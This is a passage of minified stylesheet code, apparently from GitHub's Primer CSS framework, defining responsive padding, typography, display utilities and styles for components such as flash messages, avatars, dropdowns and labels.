!important}.pl-md-9{padding-left:80px !important}.py-md-9{padding-top:80px !important;padding-bottom:80px !important}.pt-md-10{padding-top:96px !important}.pr-md-10{padding-right:96px !important}.pb-md-10{padding-bottom:96px !important}.pl-md-10{padding-left:96px !important}.py-md-10{padding-top:96px !important;padding-bottom:96px !important}.pt-md-11{padding-top:112px !important}.pr-md-11{padding-right:112px !important}.pb-md-11{padding-bottom:112px !important}.pl-md-11{padding-left:112px !important}.py-md-11{padding-top:112px !important;padding-bottom:112px !important}.pt-md-12{padding-top:128px !important}.pr-md-12{padding-right:128px !important}.pb-md-12{padding-bottom:128px !important}.pl-md-12{padding-left:128px !important}.py-md-12{padding-top:128px !important;padding-bottom:128px !important}}@media(min-width: 1012px){.p-lg-0{padding:0 !important}.pt-lg-0{padding-top:0 !important}.pr-lg-0{padding-right:0 !important}.pb-lg-0{padding-bottom:0 !important}.pl-lg-0{padding-left:0 !important}.px-lg-0{padding-right:0 !important;padding-left:0 !important}.py-lg-0{padding-top:0 !important;padding-bottom:0 !important}.p-lg-1{padding:4px !important}.pt-lg-1{padding-top:4px !important}.pr-lg-1{padding-right:4px !important}.pb-lg-1{padding-bottom:4px !important}.pl-lg-1{padding-left:4px !important}.px-lg-1{padding-right:4px !important;padding-left:4px !important}.py-lg-1{padding-top:4px !important;padding-bottom:4px !important}.p-lg-2{padding:8px !important}.pt-lg-2{padding-top:8px !important}.pr-lg-2{padding-right:8px !important}.pb-lg-2{padding-bottom:8px !important}.pl-lg-2{padding-left:8px !important}.px-lg-2{padding-right:8px !important;padding-left:8px !important}.py-lg-2{padding-top:8px !important;padding-bottom:8px !important}.p-lg-3{padding:16px !important}.pt-lg-3{padding-top:16px !important}.pr-lg-3{padding-right:16px !important}.pb-lg-3{padding-bottom:16px !important}.pl-lg-3{padding-left:16px !important}.px-lg-3{padding-right:16px !important;padding-left:16px !important}.py-lg-3{padding-top:16px !important;padding-bottom:16px !important}.p-lg-4{padding:24px !important}.pt-lg-4{padding-top:24px !important}.pr-lg-4{padding-right:24px !important}.pb-lg-4{padding-bottom:24px !important}.pl-lg-4{padding-left:24px !important}.px-lg-4{padding-right:24px !important;padding-left:24px !important}.py-lg-4{padding-top:24px !important;padding-bottom:24px !important}.p-lg-5{padding:32px !important}.pt-lg-5{padding-top:32px !important}.pr-lg-5{padding-right:32px !important}.pb-lg-5{padding-bottom:32px !important}.pl-lg-5{padding-left:32px !important}.px-lg-5{padding-right:32px !important;padding-left:32px !important}.py-lg-5{padding-top:32px !important;padding-bottom:32px !important}.p-lg-6{padding:40px !important}.pt-lg-6{padding-top:40px !important}.pr-lg-6{padding-right:40px !important}.pb-lg-6{padding-bottom:40px !important}.pl-lg-6{padding-left:40px !important}.px-lg-6{padding-right:40px !important;padding-left:40px !important}.py-lg-6{padding-top:40px !important;padding-bottom:40px !important}.pt-lg-7{padding-top:48px !important}.pr-lg-7{padding-right:48px !important}.pb-lg-7{padding-bottom:48px !important}.pl-lg-7{padding-left:48px !important}.py-lg-7{padding-top:48px !important;padding-bottom:48px !important}.pt-lg-8{padding-top:64px !important}.pr-lg-8{padding-right:64px !important}.pb-lg-8{padding-bottom:64px !important}.pl-lg-8{padding-left:64px !important}.py-lg-8{padding-top:64px !important;padding-bottom:64px !important}.pt-lg-9{padding-top:80px !important}.pr-lg-9{padding-right:80px !important}.pb-lg-9{padding-bottom:80px !important}.pl-lg-9{padding-left:80px !important}.py-lg-9{padding-top:80px !important;padding-bottom:80px !important}.pt-lg-10{padding-top:96px !important}.pr-lg-10{padding-right:96px !important}.pb-lg-10{padding-bottom:96px !important}.pl-lg-10{padding-left:96px !important}.py-lg-10{padding-top:96px !important;padding-bottom:96px !important}.pt-lg-11{padding-top:112px !important}.pr-lg-11{padding-right:112px !important}.pb-lg-11{padding-bottom:112px !important}.pl-lg-11{padding-left:112px !important}.py-lg-11{padding-top:112px !important;padding-bottom:112px !important}.pt-lg-12{padding-top:128px !important}.pr-lg-12{padding-right:128px !important}.pb-lg-12{padding-bottom:128px !important}.pl-lg-12{padding-left:128px !important}.py-lg-12{padding-top:128px !important;padding-bottom:128px !important}}@media(min-width: 1280px){.p-xl-0{padding:0 !important}.pt-xl-0{padding-top:0 !important}.pr-xl-0{padding-right:0 !important}.pb-xl-0{padding-bottom:0 !important}.pl-xl-0{padding-left:0 !important}.px-xl-0{padding-right:0 !important;padding-left:0 !important}.py-xl-0{padding-top:0 !important;padding-bottom:0 !important}.p-xl-1{padding:4px !important}.pt-xl-1{padding-top:4px !important}.pr-xl-1{padding-right:4px !important}.pb-xl-1{padding-bottom:4px !important}.pl-xl-1{padding-left:4px !important}.px-xl-1{padding-right:4px !important;padding-left:4px !important}.py-xl-1{padding-top:4px !important;padding-bottom:4px !important}.p-xl-2{padding:8px !important}.pt-xl-2{padding-top:8px !important}.pr-xl-2{padding-right:8px !important}.pb-xl-2{padding-bottom:8px !important}.pl-xl-2{padding-left:8px !important}.px-xl-2{padding-right:8px !important;padding-left:8px !important}.py-xl-2{padding-top:8px !important;padding-bottom:8px !important}.p-xl-3{padding:16px !important}.pt-xl-3{padding-top:16px !important}.pr-xl-3{padding-right:16px !important}.pb-xl-3{padding-bottom:16px !important}.pl-xl-3{padding-left:16px !important}.px-xl-3{padding-right:16px !important;padding-left:16px !important}.py-xl-3{padding-top:16px !important;padding-bottom:16px !important}.p-xl-4{padding:24px !important}.pt-xl-4{padding-top:24px !important}.pr-xl-4{padding-right:24px !important}.pb-xl-4{padding-bottom:24px !important}.pl-xl-4{padding-left:24px !important}.px-xl-4{padding-right:24px !important;padding-left:24px !important}.py-xl-4{padding-top:24px !important;padding-bottom:24px !important}.p-xl-5{padding:32px !important}.pt-xl-5{padding-top:32px !important}.pr-xl-5{padding-right:32px !important}.pb-xl-5{padding-bottom:32px !important}.pl-xl-5{padding-left:32px !important}.px-xl-5{padding-right:32px !important;padding-left:32px !important}.py-xl-5{padding-top:32px !important;padding-bottom:32px !important}.p-xl-6{padding:40px !important}.pt-xl-6{padding-top:40px !important}.pr-xl-6{padding-right:40px !important}.pb-xl-6{padding-bottom:40px !important}.pl-xl-6{padding-left:40px !important}.px-xl-6{padding-right:40px !important;padding-left:40px !important}.py-xl-6{padding-top:40px !important;padding-bottom:40px !important}.pt-xl-7{padding-top:48px !important}.pr-xl-7{padding-right:48px !important}.pb-xl-7{padding-bottom:48px !important}.pl-xl-7{padding-left:48px !important}.py-xl-7{padding-top:48px !important;padding-bottom:48px !important}.pt-xl-8{padding-top:64px !important}.pr-xl-8{padding-right:64px !important}.pb-xl-8{padding-bottom:64px !important}.pl-xl-8{padding-left:64px !important}.py-xl-8{padding-top:64px !important;padding-bottom:64px !important}.pt-xl-9{padding-top:80px !important}.pr-xl-9{padding-right:80px !important}.pb-xl-9{padding-bottom:80px !important}.pl-xl-9{padding-left:80px !important}.py-xl-9{padding-top:80px !important;padding-bottom:80px !important}.pt-xl-10{padding-top:96px !important}.pr-xl-10{padding-right:96px !important}.pb-xl-10{padding-bottom:96px !important}.pl-xl-10{padding-left:96px !important}.py-xl-10{padding-top:96px !important;padding-bottom:96px !important}.pt-xl-11{padding-top:112px !important}.pr-xl-11{padding-right:112px !important}.pb-xl-11{padding-bottom:112px !important}.pl-xl-11{padding-left:112px !important}.py-xl-11{padding-top:112px !important;padding-bottom:112px !important}.pt-xl-12{padding-top:128px !important}.pr-xl-12{padding-right:128px !important}.pb-xl-12{padding-bottom:128px !important}.pl-xl-12{padding-left:128px !important}.py-xl-12{padding-top:128px !important;padding-bottom:128px !important}}.p-responsive{padding-right:16px !important;padding-left:16px !important}@media(min-width: 544px){.p-responsive{padding-right:40px !important;padding-left:40px !important}}@media(min-width: 1012px){.p-responsive{padding-right:16px !important;padding-left:16px !important}}.h1{font-size:26px !important}@media(min-width: 768px){.h1{font-size:32px !important}}.h2{font-size:22px !important}@media(min-width: 768px){.h2{font-size:24px !important}}.h3{font-size:18px !important}@media(min-width: 768px){.h3{font-size:20px !important}}.h4{font-size:16px !important}.h5{font-size:14px !important}.h6{font-size:12px !important}.h1,.h2,.h3,.h4,.h5,.h6{font-weight:600 !important}.f1{font-size:26px !important}@media(min-width: 768px){.f1{font-size:32px !important}}.f2{font-size:22px !important}@media(min-width: 768px){.f2{font-size:24px !important}}.f3{font-size:18px !important}@media(min-width: 768px){.f3{font-size:20px !important}}.f4{font-size:16px !important}@media(min-width: 768px){.f4{font-size:16px !important}}.f5{font-size:14px !important}.f6{font-size:12px !important}.f00-light{font-size:40px !important;font-weight:300 !important}@media(min-width: 768px){.f00-light{font-size:48px !important}}.f0-light{font-size:32px !important;font-weight:300 !important}@media(min-width: 768px){.f0-light{font-size:40px !important}}.f1-light{font-size:26px !important;font-weight:300 !important}@media(min-width: 768px){.f1-light{font-size:32px !important}}.f2-light{font-size:22px !important;font-weight:300 !important}@media(min-width: 768px){.f2-light{font-size:24px !important}}.f3-light{font-size:18px !important;font-weight:300 !important}@media(min-width: 768px){.f3-light{font-size:20px !important}}.text-small{font-size:12px !important}.lead{margin-bottom:30px;font-size:20px;font-weight:300}.lh-condensed-ultra{line-height:1 !important}.lh-condensed{line-height:1.25 !important}.lh-default{line-height:1.5 !important}.lh-0{line-height:0 !important}@media(min-width: 544px){.lh-sm-condensed-ultra{line-height:1 !important}.lh-sm-condensed{line-height:1.25 !important}.lh-sm-default{line-height:1.5 !important}.lh-sm-0{line-height:0 !important}}@media(min-width: 768px){.lh-md-condensed-ultra{line-height:1 !important}.lh-md-condensed{line-height:1.25 !important}.lh-md-default{line-height:1.5 !important}.lh-md-0{line-height:0 !important}}@media(min-width: 1012px){.lh-lg-condensed-ultra{line-height:1 !important}.lh-lg-condensed{line-height:1.25 !important}.lh-lg-default{line-height:1.5 !important}.lh-lg-0{line-height:0 !important}}@media(min-width: 1280px){.lh-xl-condensed-ultra{line-height:1 !important}.lh-xl-condensed{line-height:1.25 !important}.lh-xl-default{line-height:1.5 !important}.lh-xl-0{line-height:0 !important}}.text-right{text-align:right !important}.text-left{text-align:left !important}.text-center{text-align:center !important}@media(min-width: 544px){.text-sm-right{text-align:right !important}.text-sm-left{text-align:left !important}.text-sm-center{text-align:center !important}}@media(min-width: 768px){.text-md-right{text-align:right !important}.text-md-left{text-align:left !important}.text-md-center{text-align:center !important}}@media(min-width: 1012px){.text-lg-right{text-align:right !important}.text-lg-left{text-align:left !important}.text-lg-center{text-align:center !important}}@media(min-width: 1280px){.text-xl-right{text-align:right !important}.text-xl-left{text-align:left !important}.text-xl-center{text-align:center !important}}.text-normal{font-weight:400 !important}.text-bold{font-weight:600 !important}.text-semibold{font-weight:500 !important}.text-light{font-weight:300 !important}.text-italic{font-style:italic !important}.text-uppercase{text-transform:uppercase !important}.text-underline{text-decoration:underline !important}.no-underline{text-decoration:none !important}.no-wrap{white-space:nowrap !important}.ws-normal{white-space:normal !important}.wb-break-word{word-break:break-word !important;word-wrap:break-word !important;overflow-wrap:break-word !important}.wb-break-all{word-break:break-all !important}.text-emphasized{font-weight:600}.list-style-none{list-style:none !important}.text-mono{font-family:ui-monospace,SFMono-Regular,SF Mono,Menlo,Consolas,Liberation Mono,monospace !important}.user-select-none{-webkit-user-select:none !important;user-select:none !important}.text-capitalize{text-transform:capitalize !important}.d-block{display:block !important}.d-flex{display:flex !important}.d-inline{display:inline !important}.d-inline-block{display:inline-block !important}.d-inline-flex{display:inline-flex !important}.d-none{display:none !important}.d-table{display:table !important}.d-table-cell{display:table-cell !important}@media(min-width: 544px){.d-sm-block{display:block !important}.d-sm-flex{display:flex !important}.d-sm-inline{display:inline !important}.d-sm-inline-block{display:inline-block !important}.d-sm-inline-flex{display:inline-flex !important}.d-sm-none{display:none !important}.d-sm-table{display:table !important}.d-sm-table-cell{display:table-cell !important}}@media(min-width: 768px){.d-md-block{display:block !important}.d-md-flex{display:flex !important}.d-md-inline{display:inline !important}.d-md-inline-block{display:inline-block !important}.d-md-inline-flex{display:inline-flex !important}.d-md-none{display:none !important}.d-md-table{display:table !important}.d-md-table-cell{display:table-cell !important}}@media(min-width: 1012px){.d-lg-block{display:block !important}.d-lg-flex{display:flex !important}.d-lg-inline{display:inline !important}.d-lg-inline-block{display:inline-block !important}.d-lg-inline-flex{display:inline-flex !important}.d-lg-none{display:none !important}.d-lg-table{display:table !important}.d-lg-table-cell{display:table-cell !important}}@media(min-width: 1280px){.d-xl-block{display:block !important}.d-xl-flex{display:flex !important}.d-xl-inline{display:inline !important}.d-xl-inline-block{display:inline-block !important}.d-xl-inline-flex{display:inline-flex !important}.d-xl-none{display:none !important}.d-xl-table{display:table !important}.d-xl-table-cell{display:table-cell !important}}.v-hidden{visibility:hidden !important}.v-visible{visibility:visible !important}@media(max-width: 543.98px){.hide-sm{display:none !important}}@media(min-width: 544px)and (max-width: 767.98px){.hide-md{display:none !important}}@media(min-width: 768px)and (max-width: 1011.98px){.hide-lg{display:none !important}}@media(min-width: 1012px){.hide-xl{display:none !important}}.show-whenNarrow,.show-whenRegular,.show-whenWide,.show-whenRegular.hide-whenWide{display:none !important}.hide-whenNarrow,.hide-whenRegular,.hide-whenWide{display:block !important}@media(max-width: 767.98px){.show-whenNarrow{display:block !important}.hide-whenNarrow{display:none !important}}@media(min-width: 768px){.show-whenRegular,.show-whenRegular.hide-whenWide{display:block !important}.hide-whenRegular{display:none !important}}@media(min-width: 1280px){.show-whenWide{display:block !important}.hide-whenWide,.show-whenRegular.hide-whenWide{display:none !important}}.table-fixed{table-layout:fixed !important}.sr-only{position:absolute;width:1px;height:1px;padding:0;overflow:hidden;clip:rect(0, 0, 0, 0);word-wrap:normal;border:0}.show-on-focus{position:absolute;width:1px;height:1px;margin:0;overflow:hidden;clip:rect(1px, 1px, 1px, 1px)}.show-on-focus:focus{z-index:20;width:auto;height:auto;clip:auto}/*! + * @primer/css/product + * http://primer.style/css + * + * Released under MIT license. Copyright (c) 2019 GitHub Inc. + */.flash{position:relative;padding:20px 16px;border-style:solid;border-width:1px;border-radius:6px}.flash p:last-child{margin-bottom:0}.flash .octicon{margin-right:12px}.flash-messages{margin-bottom:24px}.flash-close{float:right;padding:16px;margin:-16px;text-align:center;cursor:pointer;background:none;border:0;-webkit-appearance:none;appearance:none}.flash-close:hover{opacity:.7}.flash-close:active{opacity:.5}.flash-close .octicon{margin-right:0}.flash-action{float:right;margin-top:-3px;margin-left:24px;background-clip:padding-box}.flash-action.btn .octicon{margin-right:4px;color:var(--color-fg-muted)}.flash-action.btn-primary{background-clip:border-box}.flash-action.btn-primary .octicon{color:inherit}.flash{color:var(--color-fg-default);background-image:linear-gradient(var(--color-accent-subtle), var(--color-accent-subtle));border-color:var(--color-accent-muted)}.flash .octicon{color:var(--color-accent-fg)}.flash-warn{color:var(--color-fg-default);background-image:linear-gradient(var(--color-attention-subtle), var(--color-attention-subtle));border-color:var(--color-attention-muted)}.flash-warn .octicon{color:var(--color-attention-fg)}.flash-error{color:var(--color-fg-default);background-image:linear-gradient(var(--color-danger-subtle), var(--color-danger-subtle));border-color:var(--color-danger-muted)}.flash-error .octicon{color:var(--color-danger-fg)}.flash-success{color:var(--color-fg-default);background-image:linear-gradient(var(--color-success-subtle), var(--color-success-subtle));border-color:var(--color-success-muted)}.flash-success .octicon{color:var(--color-success-fg)}.flash-full{margin-top:-1px;border-width:1px 0;border-radius:0}.flash-banner{position:fixed;top:0;z-index:90;width:100%;border-top:0;border-right:0;border-left:0;border-radius:0}.flash-full,.flash-banner{background-color:var(--color-canvas-default)}.warning{padding:.5em;margin-bottom:.8em;font-weight:600;background-color:var(--color-attention-subtle)}.autocomplete-label-stacked{display:block;margin-bottom:6px}.autocomplete-label-inline{display:inline;margin-right:6px}@media(max-width: 544px){.autocomplete-label-inline{display:block;margin-bottom:6px}}.autocomplete-body{position:relative;display:inline}.autocomplete-embedded-icon-wrap{display:inline-flex;padding:4px 8px;align-items:center}.autocomplete-embedded-icon-wrap:focus-within{border-color:var(--color-accent-fg);border-color:var(--color-accent-fg);outline:none;box-shadow:inset 0 0 0 1px var(--color-accent-fg)}.autocomplete-embedded-icon-wrap .form-control{padding:0;margin-left:8px;border:none;box-shadow:none}.autocomplete-embedded-icon-wrap .form-control:focus{box-shadow:none}.autocomplete-embedded-icon-wrap .form-control:focus-visible{box-shadow:none}.autocomplete-results{position:absolute;left:0;z-index:99;width:max-content;min-width:100%;max-height:20em;overflow-y:auto;font-size:13px;list-style:none;background:var(--color-canvas-overlay);border:1px solid var(--color-border-default);border-radius:6px;box-shadow:var(--color-shadow-medium)}.autocomplete-item{display:block;width:100%;padding:4px 8px;overflow:hidden;font-weight:600;color:var(--color-fg-default);text-align:left;text-decoration:none;text-overflow:ellipsis;white-space:nowrap;cursor:pointer;background-color:var(--color-canvas-overlay);border:0}.autocomplete-item:hover{color:var(--color-fg-on-emphasis);text-decoration:none;background-color:var(--color-accent-emphasis)}.autocomplete-item:hover *{color:inherit !important}.autocomplete-item.selected,.autocomplete-item[aria-selected=true],.autocomplete-item.navigation-focus{color:var(--color-fg-on-emphasis);text-decoration:none;background-color:var(--color-accent-emphasis)}.autocomplete-item.selected *,.autocomplete-item[aria-selected=true] *,.autocomplete-item.navigation-focus *{color:inherit !important}.suggester{position:relative;top:0;left:0;min-width:180px;padding:0;margin:0;margin-top:24px;list-style:none;cursor:pointer;background:var(--color-canvas-overlay);border:1px solid var(--color-border-default);border-radius:6px;box-shadow:var(--color-shadow-medium)}.suggester li{display:block;padding:4px 8px;font-weight:500;border-bottom:1px solid var(--color-border-muted)}.suggester li small{font-weight:400;color:var(--color-fg-muted)}.suggester li:last-child{border-bottom:0;border-bottom-right-radius:6px;border-bottom-left-radius:6px}.suggester li:first-child{border-top-left-radius:6px;border-top-right-radius:6px}.suggester li:hover{color:var(--color-fg-on-emphasis);text-decoration:none;background:var(--color-accent-emphasis)}.suggester li:hover small{color:var(--color-fg-on-emphasis)}.suggester li:hover .octicon{color:inherit !important}.suggester li[aria-selected=true],.suggester li.navigation-focus{color:var(--color-fg-on-emphasis);text-decoration:none;background:var(--color-accent-emphasis)}.suggester li[aria-selected=true] small,.suggester li.navigation-focus small{color:var(--color-fg-on-emphasis)}.suggester li[aria-selected=true] .octicon,.suggester li.navigation-focus .octicon{color:inherit !important}.suggester-container{position:absolute;top:0;left:0;z-index:30}@media(max-width: 544px){.page-responsive .suggester-container{right:8px !important;left:8px !important}.page-responsive .suggester li{padding:8px 16px}}.avatar{display:inline-block;overflow:hidden;line-height:1;vertical-align:middle;background-color:var(--color-avatar-bg);border-radius:6px;flex-shrink:0;box-shadow:0 0 0 1px var(--color-avatar-border)}.avatar-link{float:left;line-height:1}.avatar-group-item{display:inline-block;margin-bottom:3px}.avatar-1,.avatar-2,.avatar-small{border-radius:4px}.avatar-1{width:16px;height:16px}.avatar-2{width:20px;height:20px}.avatar-3{width:24px;height:24px}.avatar-4{width:28px;height:28px}.avatar-5{width:32px;height:32px}.avatar-6{width:40px;height:40px}.avatar-7{width:48px;height:48px}.avatar-8{width:64px;height:64px}.avatar-parent-child{position:relative}.avatar-child{position:absolute;right:-15%;bottom:-9%;background-color:var(--color-canvas-default);border-radius:4px;box-shadow:var(--color-avatar-child-shadow)}.AvatarStack{position:relative;min-width:26px;height:20px}.AvatarStack .AvatarStack-body{position:absolute}.AvatarStack.AvatarStack--two{min-width:36px}.AvatarStack.AvatarStack--three-plus{min-width:46px}.AvatarStack-body{display:flex;background:var(--color-canvas-default)}.AvatarStack-body .avatar{position:relative;z-index:2;display:flex;width:20px;height:20px;box-sizing:content-box;margin-right:-11px;background-color:var(--color-canvas-default);border-right:1px solid var(--color-canvas-default);border-radius:4px;box-shadow:none;transition:margin .1s ease-in-out}.AvatarStack-body .avatar:first-child{z-index:3}.AvatarStack-body .avatar:last-child{z-index:1;border-right:0}.AvatarStack-body .avatar img{border-radius:4px}.AvatarStack-body .avatar:nth-child(n+4){display:none;opacity:0}.AvatarStack-body:hover .avatar{margin-right:3px}.AvatarStack-body:hover .avatar:nth-child(n+4){display:flex;opacity:1}.AvatarStack-body:hover .avatar-more{display:none !important}.avatar.avatar-more{z-index:1;margin-right:0;background:var(--color-canvas-subtle)}.avatar.avatar-more::before,.avatar.avatar-more::after{position:absolute;display:block;height:20px;content:"";border-radius:2px;outline:1px solid var(--color-canvas-default)}.avatar.avatar-more::before{width:17px;background:var(--color-avatar-stack-fade-more)}.avatar.avatar-more::after{width:14px;background:var(--color-avatar-stack-fade)}.AvatarStack--right .AvatarStack-body{right:0;flex-direction:row-reverse}.AvatarStack--right .AvatarStack-body:hover .avatar{margin-right:0;margin-left:3px}.AvatarStack--right .avatar.avatar-more{background:var(--color-avatar-stack-fade)}.AvatarStack--right .avatar.avatar-more::before{width:5px}.AvatarStack--right .avatar.avatar-more::after{width:2px;background:var(--color-canvas-subtle)}.AvatarStack--right .avatar{margin-right:0;margin-left:-11px;border-right:0;border-left:1px solid var(--color-canvas-default)}.CircleBadge{display:flex;align-items:center;justify-content:center;background-color:var(--color-canvas-default);border-radius:50%;box-shadow:var(--color-shadow-medium)}.CircleBadge-icon{max-width:60% !important;height:auto !important;max-height:55% !important}.CircleBadge--small{width:56px;height:56px}.CircleBadge--medium{width:96px;height:96px}.CircleBadge--large{width:128px;height:128px}.DashedConnection{position:relative}.DashedConnection::before{position:absolute;top:50%;left:0;width:100%;content:"";border-bottom:2px dashed var(--color-border-default)}.DashedConnection .CircleBadge{position:relative}.blankslate{position:relative;padding:32px;text-align:center}.blankslate p{color:var(--color-fg-muted)}.blankslate code{padding:2px 5px 3px;font-size:14px;background:var(--color-canvas-default);border:1px solid var(--color-border-muted);border-radius:6px}.blankslate img{width:56px;height:56px}.blankslate-icon{margin-right:4px;margin-bottom:8px;margin-left:4px;color:var(--color-fg-muted)}.blankslate-image{margin-bottom:16px}.blankslate-heading{margin-bottom:4px}.blankslate-action{margin-top:16px}.blankslate-action:first-of-type{margin-top:24px}.blankslate-action:last-of-type{margin-bottom:8px}.blankslate-capped{border-radius:0 0 6px 6px}.blankslate-spacious{padding:80px 40px}.blankslate-narrow{max-width:485px;margin:0 auto}.blankslate-large img{width:80px;height:80px}.blankslate-large h3{margin:16px 0;font-size:24px}.blankslate-large p{font-size:16px}.blankslate-clean-background{border:0}.branch-name{display:inline-block;padding:2px 6px;font:12px ui-monospace,SFMono-Regular,SF Mono,Menlo,Consolas,Liberation Mono,monospace;color:var(--color-fg-muted);word-break:break-all;background-color:var(--color-accent-subtle);border-radius:6px}.branch-name .octicon{margin:1px -2px 0 0;color:var(--color-fg-muted)}a.branch-name{color:var(--color-accent-fg);background-color:var(--color-accent-subtle)}a.branch-name .octicon{color:var(--color-accent-fg)}.dropdown{position:relative}.dropdown-caret{display:inline-block;width:0;height:0;vertical-align:middle;content:"";border-style:solid;border-width:4px 4px 0;border-right-color:transparent;border-bottom-color:transparent;border-left-color:transparent}.dropdown-menu{position:absolute;top:100%;left:0;z-index:100;width:160px;padding-top:4px;padding-bottom:4px;margin-top:2px;list-style:none;background-color:var(--color-canvas-overlay);background-clip:padding-box;border:1px solid var(--color-border-default);border-radius:6px;box-shadow:var(--color-shadow-large)}.dropdown-menu::before,.dropdown-menu::after{position:absolute;display:inline-block;content:""}.dropdown-menu::before{border:8px solid transparent;border-bottom-color:var(--color-border-default)}.dropdown-menu::after{border:7px solid transparent;border-bottom-color:var(--color-canvas-overlay)}.dropdown-menu>ul{list-style:none}.dropdown-menu-no-overflow{width:auto}.dropdown-menu-no-overflow .dropdown-item{padding:4px 16px;overflow:visible;text-overflow:inherit}.dropdown-item{display:block;padding:4px 8px 4px 16px;overflow:hidden;color:var(--color-fg-default);text-overflow:ellipsis;white-space:nowrap}.dropdown-item:hover{color:var(--color-fg-on-emphasis);text-decoration:none;background-color:var(--color-accent-emphasis)}.dropdown-item:hover>.octicon{color:inherit;opacity:1}.dropdown-item:hover [class*=color-text-]{color:inherit !important}.dropdown-item:hover>.Label{color:inherit !important;border-color:currentColor}.dropdown-item.btn-link{width:100%;text-align:left}.dropdown-signout{width:100%;text-align:left;background:none;border:0}.dropdown-divider{display:block;height:0;margin:8px 0;border-top:1px solid var(--color-border-default)}.dropdown-header{padding:4px 16px;font-size:12px;color:var(--color-fg-muted)}.dropdown-item[aria-checked=false] .octicon-check{display:none}.dropdown-menu-w{top:0;right:100%;left:auto;width:auto;margin-top:0;margin-right:8px}.dropdown-menu-w::before{top:10px;right:-16px;left:auto;border-color:transparent;border-left-color:var(--color-border-default)}.dropdown-menu-w::after{top:11px;right:-14px;left:auto;border-color:transparent;border-left-color:var(--color-canvas-overlay)}.dropdown-menu-e{top:0;left:100%;width:auto;margin-top:0;margin-left:8px}.dropdown-menu-e::before{top:10px;left:-16px;border-color:transparent;border-right-color:var(--color-border-default)}.dropdown-menu-e::after{top:11px;left:-14px;border-color:transparent;border-right-color:var(--color-canvas-overlay)}.dropdown-menu-ne{top:auto;bottom:100%;left:0;margin-bottom:3px}.dropdown-menu-ne::before,.dropdown-menu-ne::after{top:auto;right:auto}.dropdown-menu-ne::before{bottom:-8px;left:9px;border-top:8px solid var(--color-border-default);border-right:8px solid transparent;border-bottom:0;border-left:8px solid transparent}.dropdown-menu-ne::after{bottom:-7px;left:10px;border-top:7px solid var(--color-canvas-overlay);border-right:7px solid transparent;border-bottom:0;border-left:7px solid transparent}.dropdown-menu-s{right:50%;left:auto;transform:translateX(50%)}.dropdown-menu-s::before{top:-16px;right:50%;transform:translateX(50%)}.dropdown-menu-s::after{top:-14px;right:50%;transform:translateX(50%)}.dropdown-menu-sw{right:0;left:auto}.dropdown-menu-sw::before{top:-16px;right:9px;left:auto}.dropdown-menu-sw::after{top:-14px;right:10px;left:auto}.dropdown-menu-se::before{top:-16px;left:9px}.dropdown-menu-se::after{top:-14px;left:10px}.Header{z-index:32;display:flex;padding:16px;font-size:14px;line-height:1.5;color:var(--color-header-text);background-color:var(--color-header-bg);align-items:center;flex-wrap:nowrap}.Header-item{display:flex;margin-right:16px;align-self:stretch;align-items:center;flex-wrap:nowrap}.Header-item--full{flex:auto}.Header-link{font-weight:600;color:var(--color-header-logo);white-space:nowrap}.Header-link:hover,.Header-link:focus{color:var(--color-header-text);text-decoration:none}.Header-input{color:var(--color-header-text);background-color:var(--color-header-search-bg);border:1px solid var(--color-header-search-border);box-shadow:none}.Header-input::placeholder{color:rgba(255,255,255,.75)}.IssueLabel{display:inline-block;padding:0 7px;font-size:12px;font-weight:500;line-height:18px;white-space:nowrap;border:1px solid transparent;border-radius:2em}.IssueLabel .g-emoji{position:relative;top:-0.05em;display:inline-block;font-size:1em;line-height:1}.IssueLabel:hover{text-decoration:none}.IssueLabel--big{padding-right:10px;padding-left:10px;line-height:22px}.labels{position:relative}.label,.Label{display:inline-block;padding:0 7px;font-size:12px;font-weight:500;line-height:18px;white-space:nowrap;border:1px solid transparent;border-radius:2em;border-color:var(--color-border-default)}.label:hover,.Label:hover{text-decoration:none}.Label--large{padding-right:10px;padding-left:10px;line-height:22px}.Label--inline{display:inline;padding:.12em .5em;font-size:85%}.Label--primary{color:var(--color-fg-default);border-color:var(--color-neutral-emphasis)}.Label--secondary{color:var(--color-fg-muted);border-color:var(--color-border-default)}.Label--info,.Label--accent{color:var(--color-accent-fg);border-color:var(--color-accent-emphasis)}.Label--success{color:var(--color-success-fg);border-color:var(--color-success-emphasis)}.Label--warning,.Label--attention{color:var(--color-attention-fg);border-color:var(--color-attention-emphasis)}.Label--severe{color:var(--color-severe-fg);border-color:var(--color-severe-emphasis)}.Label--danger{color:var(--color-danger-fg);border-color:var(--color-danger-emphasis)}.Label--open{color:var(--color-open-fg);border-color:var(--color-open-emphasis)}.Label--closed{color:var(--color-closed-fg);border-color:var(--color-closed-emphasis)}.Label--done{color:var(--color-done-fg);border-color:var(--color-done-emphasis)}.Label--sponsors{color:var(--color-sponsors-fg);border-color:var(--color-sponsors-emphasis)}.state,.State{display:inline-block;padding:5px 12px;font-size:14px;font-weight:500;line-height:20px;text-align:center;white-space:nowrap;border-radius:2em}.state,.State,.State--draft{color:var(--color-fg-on-emphasis);background-color:var(--color-neutral-emphasis);border:1px solid transparent}.State--open{color:var(--color-fg-on-emphasis);background-color:var(--color-open-emphasis)}.State--merged{color:var(--color-fg-on-emphasis);background-color:var(--color-done-emphasis)}.State--closed{color:var(--color-fg-on-emphasis);background-color:var(--color-closed-emphasis)}.State--small{padding:0 10px;font-size:12px;line-height:24px}.State--small .octicon{width:1em}.Counter{display:inline-block;min-width:20px;padding:0 6px;font-size:12px;font-weight:500;line-height:18px;color:var(--color-fg-default);text-align:center;background-color:var(--color-neutral-muted);border:1px solid var(--color-counter-border);border-radius:2em}.Counter:empty{display:none}.Counter .octicon{vertical-align:text-top;opacity:.8}.Counter--primary{color:var(--color-fg-on-emphasis);background-color:var(--color-neutral-emphasis)}.Counter--secondary{color:var(--color-fg-muted);background-color:var(--color-neutral-subtle)}.diffstat{font-size:12px;font-weight:600;color:var(--color-fg-muted);white-space:nowrap;cursor:default}.diffstat-block-deleted,.diffstat-block-added,.diffstat-block-neutral{display:inline-block;width:8px;height:8px;margin-left:1px;outline-offset:-1px}.diffstat-block-deleted{background-color:var(--color-danger-emphasis);outline:1px solid var(--color-border-subtle)}.diffstat-block-added{background-color:var(--color-diffstat-addition-bg);outline:1px solid var(--color-border-subtle)}.diffstat-block-neutral{background-color:var(--color-neutral-muted);outline:1px solid var(--color-border-subtle)}.AnimatedEllipsis{display:inline-block;overflow:hidden;vertical-align:bottom}.AnimatedEllipsis::after{display:inline-block;content:"...";animation:AnimatedEllipsis-keyframes 1.2s steps(4, jump-none) infinite}@keyframes 